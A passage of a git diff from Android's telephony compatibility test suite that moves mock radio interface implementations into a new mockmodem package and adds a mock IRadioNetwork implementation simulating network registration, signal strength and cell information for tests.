+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.hardware.radio.RadioError;
import android.hardware.radio.RadioIndicationType;
@@ -265,4 +265,14 @@
Log.e(TAG, "null mRadioConfigIndication");
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioConfig.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioConfig.VERSION;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
similarity index 89%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
index e9fff8e..86f1501 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
@@ -14,9 +14,10 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
import android.hardware.radio.RadioResponseInfo;
import android.hardware.radio.data.DataProfileInfo;
import android.hardware.radio.data.IRadioData;
@@ -49,6 +50,8 @@
mRadioDataResponse = radioDataResponse;
mRadioDataIndication = radioDataIndication;
mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+
+ unsolEmptyDataCallList();
}
@Override
@@ -222,4 +225,31 @@
Log.e(TAG, "Failed to stopKeepalive from AIDL. Exception" + ex);
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioData.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioData.VERSION;
+ }
+
+ public void unsolEmptyDataCallList() {
+ Log.d(TAG, "unsolEmptyDataCallList");
+
+ if (mRadioDataIndication != null) {
+ android.hardware.radio.data.SetupDataCallResult[] dcList =
+ new android.hardware.radio.data.SetupDataCallResult[0];
+
+ try {
+ mRadioDataIndication.dataCallListChanged(RadioIndicationType.UNSOLICITED, dcList);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to invoke dataCallListChanged change from AIDL. Exception" + ex);
+ }
+ } else {
+ Log.e(TAG, "null mRadioDataIndication");
+ }
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
similarity index 84%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
index 21c7f2243..87a5235 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.hardware.radio.RadioError;
import android.hardware.radio.RadioIndicationType;
@@ -23,14 +23,22 @@
import android.hardware.radio.messaging.IRadioMessagingIndication;
import android.hardware.radio.messaging.IRadioMessagingResponse;
import android.os.RemoteException;
+import android.support.annotation.GuardedBy;
+import android.util.ArraySet;
import android.util.Log;
+import java.util.Set;
+
public class IRadioMessagingImpl extends IRadioMessaging.Stub {
private static final String TAG = "MRMSG";
private final MockModemService mService;
private IRadioMessagingResponse mRadioMessagingResponse;
private IRadioMessagingIndication mRadioMessagingIndication;
+ @GuardedBy("mGsmBroadcastConfigSet")
+ private final Set<Integer> mGsmBroadcastConfigSet = new ArraySet<Integer>();
+ @GuardedBy("mCdmaBroadcastConfigSet")
+ private final Set<Integer> mCdmaBroadcastConfigSet = new ArraySet<Integer>();
public IRadioMessagingImpl(MockModemService service) {
Log.d(TAG, "Instantiated");
@@ -244,7 +252,20 @@
int serial, android.hardware.radio.messaging.CdmaBroadcastSmsConfigInfo[] configInfo) {
Log.d(TAG, "setCdmaBroadcastConfig");
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ int error = RadioError.NONE;
+ if (configInfo == null || configInfo.length == 0) {
+ error = RadioError.INVALID_ARGUMENTS;
+ } else {
+ synchronized (mCdmaBroadcastConfigSet) {
+ mCdmaBroadcastConfigSet.clear();
+ for (int i = 0; i < configInfo.length; i++) {
+ Log.d(TAG, "configInfo serviceCategory"
+ + configInfo[i].serviceCategory);
+ mCdmaBroadcastConfigSet.add(configInfo[i].serviceCategory);
+ }
+ }
+ }
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
try {
mRadioMessagingResponse.setCdmaBroadcastConfigResponse(rsp);
} catch (RemoteException ex) {
@@ -269,7 +290,27 @@
int serial, android.hardware.radio.messaging.GsmBroadcastSmsConfigInfo[] configInfo) {
Log.d(TAG, "setGsmBroadcastConfig");
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ int error = RadioError.NONE;
+ if (configInfo == null || configInfo.length == 0) {
+ error = RadioError.INVALID_ARGUMENTS;
+ } else {
+ synchronized (mGsmBroadcastConfigSet) {
+ mGsmBroadcastConfigSet.clear();
+ for (int i = 0; i < configInfo.length; i++) {
+ int startId = configInfo[i].fromServiceId;
+ int endId = configInfo[i].toServiceId;
+ boolean selected = configInfo[i].selected;
+ Log.d(TAG, "configInfo from: " + startId + ", to: " + endId
+ + ", selected: " + selected);
+ if (selected) {
+ for (int j = startId; j <= endId; j++) {
+ mGsmBroadcastConfigSet.add(j);
+ }
+ }
+ }
+ }
+ }
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
try {
mRadioMessagingResponse.setGsmBroadcastConfigResponse(rsp);
} catch (RemoteException ex) {
@@ -415,4 +456,28 @@
Log.e(TAG, "null mRadioMessagingIndication");
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioMessaging.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioMessaging.VERSION;
+ }
+
+ public Set<Integer> getGsmBroadcastConfigSet() {
+ synchronized (mGsmBroadcastConfigSet) {
+ Log.d(TAG, "getBroadcastConfigSet. " + mGsmBroadcastConfigSet);
+ return mGsmBroadcastConfigSet;
+ }
+ }
+
+ public Set<Integer> getCdmaBroadcastConfigSet() {
+ synchronized (mCdmaBroadcastConfigSet) {
+ Log.d(TAG, "getBroadcastConfigSet. " + mCdmaBroadcastConfigSet);
+ return mCdmaBroadcastConfigSet;
+ }
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
similarity index 98%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
index 4cca64b..dbdda3c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
@@ -472,4 +472,14 @@
break;
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioModem.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioModem.VERSION;
+ }
}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
new file mode 100644
index 0000000..9b64082
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
@@ -0,0 +1,821 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.network.IRadioNetwork;
+import android.hardware.radio.network.IRadioNetworkIndication;
+import android.hardware.radio.network.IRadioNetworkResponse;
+import android.hardware.radio.network.NetworkScanRequest;
+import android.hardware.radio.network.RadioAccessSpecifier;
+import android.hardware.radio.network.RegState;
+import android.hardware.radio.network.SignalThresholdInfo;
+import android.hardware.radio.sim.CardStatus;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioNetworkImpl extends IRadioNetwork.Stub {
+ private static final String TAG = "MRNW";
+
+ private final MockModemService mService;
+ private IRadioNetworkResponse mRadioNetworkResponse;
+ private IRadioNetworkIndication mRadioNetworkIndication;
+ private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+ private Object mCacheUpdateMutex;
+ private final Handler mHandler;
+ private int mSubId;
+
+ // ***** Events
+ static final int EVENT_RADIO_STATE_CHANGED = 1;
+ static final int EVENT_SIM_STATUS_CHANGED = 2;
+ static final int EVENT_PREFERRED_MODE_CHANGED = 3;
+
+ // ***** Cache of modem attributes/status
+ private int mNetworkTypeBitmap;
+ private int mReasonForDenial;
+ private boolean mNetworkSelectionMode;
+
+ private int mRadioState;
+ private boolean mSimReady;
+
+ private MockNetworkService mServiceState;
+
+ public IRadioNetworkImpl(
+ MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+ Log.d(TAG, "Instantiated");
+
+ this.mService = service;
+ sMockModemConfigInterfaces = interfaces;
+ mCacheUpdateMutex = new Object();
+ mHandler = new IRadioNetworkHandler();
+ mSubId = instanceId;
+ mServiceState = new MockNetworkService();
+
+ // Default network type GPRS|EDGE|UMTS|HSDPA|HSUPA|HSPA|LTE|HSPA+|GSM|LTE_CA|NR
+ mNetworkTypeBitmap =
+ MockNetworkService.GSM
+ | MockNetworkService.WCDMA
+ | MockNetworkService.LTE
+ | MockNetworkService.NR;
+ mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+
+ sMockModemConfigInterfaces[mSubId].registerForRadioStateChanged(
+ mHandler, EVENT_RADIO_STATE_CHANGED, null);
+ sMockModemConfigInterfaces[mSubId].registerForCardStatusChanged(
+ mHandler, EVENT_SIM_STATUS_CHANGED, null);
+ }
+
+ /** Handler class to handle callbacks */
+ private final class IRadioNetworkHandler extends Handler {
+ @Override
+ public void handleMessage(Message msg) {
+ AsyncResult ar;
+ synchronized (mCacheUpdateMutex) {
+ switch (msg.what) {
+ case EVENT_SIM_STATUS_CHANGED:
+ Log.d(TAG, "Received EVENT_SIM_STATUS_CHANGED");
+ boolean oldSimReady = mSimReady;
+ ar = (AsyncResult) msg.obj;
+ if (ar != null && ar.exception == null) {
+ mSimReady = updateSimReady(ar);
+ if (oldSimReady != mSimReady) {
+ updateNetworkStatus();
+ }
+ } else {
+ Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+ }
+ break;
+
+ case EVENT_RADIO_STATE_CHANGED:
+ Log.d(TAG, "Received EVENT_RADIO_STATE_CHANGED");
+ int oldRadioState = mRadioState;
+ ar = (AsyncResult) msg.obj;
+ if (ar != null && ar.exception == null) {
+ mRadioState = (int) ar.result;
+ Log.i(TAG, "Radio state: " + mRadioState);
+ if (oldRadioState != mRadioState) {
+ updateNetworkStatus();
+ }
+ } else {
+ Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+ }
+ break;
+
+ case EVENT_PREFERRED_MODE_CHANGED:
+ Log.d(TAG, "Received EVENT_PREFERRED_MODE_CHANGED");
+ mServiceState.updateNetworkStatus(
+ MockNetworkService.NETWORK_UPDATE_PREFERRED_MODE_CHANGE);
+ updateNetworkStatus();
+ break;
+ }
+ }
+ }
+ }
+
+ // Implementation of IRadioNetwork utility functions
+
+ private void notifyServiceStateChange() {
+ Log.d(TAG, "notifyServiceStateChange");
+
+ Handler handler = sMockModemConfigInterfaces[mSubId].getMockModemConfigHandler();
+ Message msg =
+ handler.obtainMessage(
+ MockModemConfigBase.EVENT_SERVICE_STATE_CHANGE, mServiceState);
+ handler.sendMessage(msg);
+ }
+
+ private void updateNetworkStatus() {
+
+ if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+ // Update to OOS state
+ mServiceState.updateServiceState(RegState.NOT_REG_MT_NOT_SEARCHING_OP);
+ } else if (!mSimReady) {
+ // Update to Searching state
+ mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+ } else if (mServiceState.isHomeCellExisted() && mServiceState.getIsHomeCamping()) {
+ // Update to Home state
+ mServiceState.updateServiceState(RegState.REG_HOME);
+ } else if (mServiceState.isRoamingCellExisted() && mServiceState.getIsRoamingCamping()) {
+ // Update to Roaming state
+ mServiceState.updateServiceState(RegState.REG_ROAMING);
+ } else {
+ // Update to Searching state
+ mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+ }
+
+ unsolNetworkStateChanged();
+ unsolCurrentSignalStrength();
+ unsolCellInfoList();
+ }
+
+ private boolean updateSimReady(AsyncResult ar) {
+ String simPlmn = "";
+ CardStatus cardStatus = new CardStatus();
+ cardStatus = (CardStatus) ar.result;
+
+ if (cardStatus.cardState != CardStatus.STATE_PRESENT) {
+ return false;
+ }
+
+ int numApplications = cardStatus.applications.length;
+ if (numApplications < 1) {
+ return false;
+ }
+
+ for (int i = 0; i < numApplications; i++) {
+ android.hardware.radio.sim.AppStatus rilAppStatus = cardStatus.applications[i];
+ if (rilAppStatus.appState == android.hardware.radio.sim.AppStatus.APP_STATE_READY) {
+ Log.i(TAG, "SIM is ready");
+ simPlmn = "46692"; // TODO: Get SIM PLMN, maybe decode from IMSI
+ mServiceState.updateSimPlmn(simPlmn);
+ return true;
+ }
+ }
+
+ mServiceState.updateSimPlmn(simPlmn);
+ return false;
+ }
+
+ public boolean changeNetworkService(int carrierId, boolean registration) {
+ Log.d(TAG, "changeNetworkService: carrier id(" + carrierId + "): " + registration);
+
+ synchronized (mCacheUpdateMutex) {
+ // TODO: compare carrierId and sim to decide home or roming
+ mServiceState.setServiceStatus(false, registration);
+ updateNetworkStatus();
+ }
+
+ return true;
+ }
+
+ // Implementation of IRadioNetwork functions
+ @Override
+ public void getAllowedNetworkTypesBitmap(int serial) {
+ Log.d(TAG, "getAllowedNetworkTypesBitmap");
+ int networkTypeBitmap = mNetworkTypeBitmap;
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getAllowedNetworkTypesBitmapResponse(rsp, networkTypeBitmap);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getAvailableBandModes(int serial) {
+ Log.d(TAG, "getAvailableBandModes");
+
+ int[] bandModes = new int[0];
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getAvailableBandModesResponse(rsp, bandModes);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getAvailableBandModes from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getAvailableNetworks(int serial) {
+ Log.d(TAG, "getAvailableNetworks");
+
+ android.hardware.radio.network.OperatorInfo[] networkInfos =
+ new android.hardware.radio.network.OperatorInfo[0];
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getAvailableNetworksResponse(rsp, networkInfos);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getAvailableNetworks from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getBarringInfo(int serial) {
+ Log.d(TAG, "getBarringInfo");
+
+ android.hardware.radio.network.CellIdentity cellIdentity =
+ new android.hardware.radio.network.CellIdentity();
+ android.hardware.radio.network.BarringInfo[] barringInfos =
+ new android.hardware.radio.network.BarringInfo[0];
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.getBarringInfoResponse(rsp, cellIdentity, barringInfos);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getBarringInfo from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getCdmaRoamingPreference(int serial) {
+ Log.d(TAG, "getCdmaRoamingPreference");
+ int type = 0;
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.getCdmaRoamingPreferenceResponse(rsp, type);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getCdmaRoamingPreference from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getCellInfoList(int serial) {
+ Log.d(TAG, "getCellInfoList");
+ android.hardware.radio.network.CellInfo[] cells;
+
+ synchronized (mCacheUpdateMutex) {
+ cells = mServiceState.getCells();
+ }
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getCellInfoListResponse(rsp, cells);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getCellInfoList from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getDataRegistrationState(int serial) {
+ Log.d(TAG, "getDataRegistrationState");
+
+ android.hardware.radio.network.RegStateResult dataRegResponse =
+ new android.hardware.radio.network.RegStateResult();
+
+ dataRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+ dataRegResponse.reasonForDenial = mReasonForDenial;
+
+ synchronized (mCacheUpdateMutex) {
+ dataRegResponse.regState =
+ mServiceState.getRegistration(android.hardware.radio.network.Domain.PS);
+ dataRegResponse.rat = mServiceState.getRegistrationRat();
+ if (mServiceState.isInService()) {
+ dataRegResponse.registeredPlmn =
+ mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+ }
+
+ dataRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+ }
+
+ // TODO: support accessTechnologySpecificInfo
+ dataRegResponse.accessTechnologySpecificInfo =
+ android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getDataRegistrationStateResponse(rsp, dataRegResponse);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getImsRegistrationState(int serial) {
+ Log.d(TAG, "getImsRegistrationState");
+ boolean isRegistered = false;
+ int ratFamily = 0;
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.getImsRegistrationStateResponse(rsp, isRegistered, ratFamily);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getImsRegistrationState from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getNetworkSelectionMode(int serial) {
+ Log.d(TAG, "getNetworkSelectionMode");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getNetworkSelectionModeResponse(rsp, mNetworkSelectionMode);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getNetworkSelectionMode from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getOperator(int serial) {
+ Log.d(TAG, "getOperator");
+
+ String longName = "";
+ String shortName = "";
+ String numeric = "";
+
+ synchronized (mCacheUpdateMutex) {
+ if (mServiceState.isInService()) {
+ android.hardware.radio.network.OperatorInfo operatorInfo =
+ mServiceState.getPrimaryCellOperatorInfo();
+ longName = operatorInfo.alphaLong;
+ shortName = operatorInfo.alphaShort;
+ numeric = operatorInfo.operatorNumeric;
+ }
+ }
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getOperatorResponse(rsp, longName, shortName, numeric);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getOperator from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getSignalStrength(int serial) {
+ Log.d(TAG, "getSignalStrength");
+
+ android.hardware.radio.network.SignalStrength signalStrength =
+ new android.hardware.radio.network.SignalStrength();
+
+ synchronized (mCacheUpdateMutex) {
+ if (mServiceState.getIsHomeCamping()
+ && mRadioState == MockModemConfigInterface.RADIO_STATE_ON) {
+ signalStrength = mServiceState.getSignalStrength();
+ }
+ }
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getSignalStrengthResponse(rsp, signalStrength);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getSignalStrength from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getSystemSelectionChannels(int serial) {
+ Log.d(TAG, "getSystemSelectionChannels");
+
+ android.hardware.radio.network.RadioAccessSpecifier[] specifiers =
+ new android.hardware.radio.network.RadioAccessSpecifier[0];
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getSystemSelectionChannelsResponse(rsp, specifiers);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getSystemSelectionChannels from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getVoiceRadioTechnology(int serial) {
+ Log.d(TAG, "getVoiceRadioTechnology");
+ int rat;
+
+ synchronized (mCacheUpdateMutex) {
+ rat = mServiceState.getRegistrationRat();
+ }
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getVoiceRadioTechnologyResponse(rsp, rat);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getVoiceRadioTechnology from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getVoiceRegistrationState(int serial) {
+ Log.d(TAG, "getVoiceRegistrationState");
+
+ android.hardware.radio.network.RegStateResult voiceRegResponse =
+ new android.hardware.radio.network.RegStateResult();
+
+ voiceRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+ voiceRegResponse.reasonForDenial = mReasonForDenial;
+
+ synchronized (mCacheUpdateMutex) {
+ voiceRegResponse.regState =
+ mServiceState.getRegistration(android.hardware.radio.network.Domain.CS);
+ voiceRegResponse.rat = mServiceState.getRegistrationRat();
+ if (mServiceState.isInService()) {
+ voiceRegResponse.registeredPlmn =
+ mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+ }
+
+ voiceRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+ }
+
+ // TODO: support accessTechnologySpecificInfo
+ voiceRegResponse.accessTechnologySpecificInfo =
+ android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.getVoiceRegistrationStateResponse(rsp, voiceRegResponse);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getVoiceRegistrationState from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void isNrDualConnectivityEnabled(int serial) {
+ Log.d(TAG, "isNrDualConnectivityEnabled");
+ boolean isEnabled = false;
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.isNrDualConnectivityEnabledResponse(rsp, isEnabled);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to isNrDualConnectivityEnabled from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void responseAcknowledgement() {
+ Log.d(TAG, "responseAcknowledgement");
+ }
+
+ @Override
+ public void setAllowedNetworkTypesBitmap(int serial, int networkTypeBitmap) {
+ Log.d(TAG, "setAllowedNetworkTypesBitmap");
+ boolean isModeChange = false;
+
+ if (mNetworkTypeBitmap != networkTypeBitmap) {
+ mNetworkTypeBitmap = networkTypeBitmap;
+ synchronized (mCacheUpdateMutex) {
+ isModeChange = mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+ }
+ if (isModeChange) {
+ mHandler.obtainMessage(EVENT_PREFERRED_MODE_CHANGED).sendToTarget();
+ }
+ }
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ try {
+ mRadioNetworkResponse.setAllowedNetworkTypesBitmapResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setBandMode(int serial, int mode) {
+ Log.d(TAG, "setBandMode");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setBandModeResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setBandMode from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setBarringPassword(
+ int serial, String facility, String oldPassword, String newPassword) {
+ Log.d(TAG, "setBarringPassword");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setBarringPasswordResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setBarringPassword from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setCdmaRoamingPreference(int serial, int type) {
+ Log.d(TAG, "setCdmaRoamingPreference");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setCdmaRoamingPreferenceResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setCdmaRoamingPreference from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setCellInfoListRate(int serial, int rate) {
+ Log.d(TAG, "setCellInfoListRate");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setCellInfoListRateResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setCellInfoListRate from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setIndicationFilter(int serial, int indicationFilter) {
+ Log.d(TAG, "setIndicationFilter");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setIndicationFilterResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setIndicationFilter from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setLinkCapacityReportingCriteria(
+ int serial,
+ int hysteresisMs,
+ int hysteresisDlKbps,
+ int hysteresisUlKbps,
+ int[] thresholdsDownlinkKbps,
+ int[] thresholdsUplinkKbps,
+ int accessNetwork) {
+ Log.d(TAG, "setLinkCapacityReportingCriteria");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setLinkCapacityReportingCriteriaResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setLinkCapacityReportingCriteria from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setLocationUpdates(int serial, boolean enable) {
+ Log.d(TAG, "setLocationUpdates");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setLocationUpdatesResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setLocationUpdates from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setNetworkSelectionModeAutomatic(int serial) {
+ Log.d(TAG, "setNetworkSelectionModeAutomatic");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setNetworkSelectionModeAutomaticResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setNetworkSelectionModeAutomatic from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setNetworkSelectionModeManual(int serial, String operatorNumeric, int ran) {
+ Log.d(TAG, "setNetworkSelectionModeManual");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setNetworkSelectionModeManualResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setNetworkSelectionModeManual from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setNrDualConnectivityState(int serial, byte nrDualConnectivityState) {
+ Log.d(TAG, "setNrDualConnectivityState");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setNrDualConnectivityStateResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setNrDualConnectivityState from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setResponseFunctions(
+ IRadioNetworkResponse radioNetworkResponse,
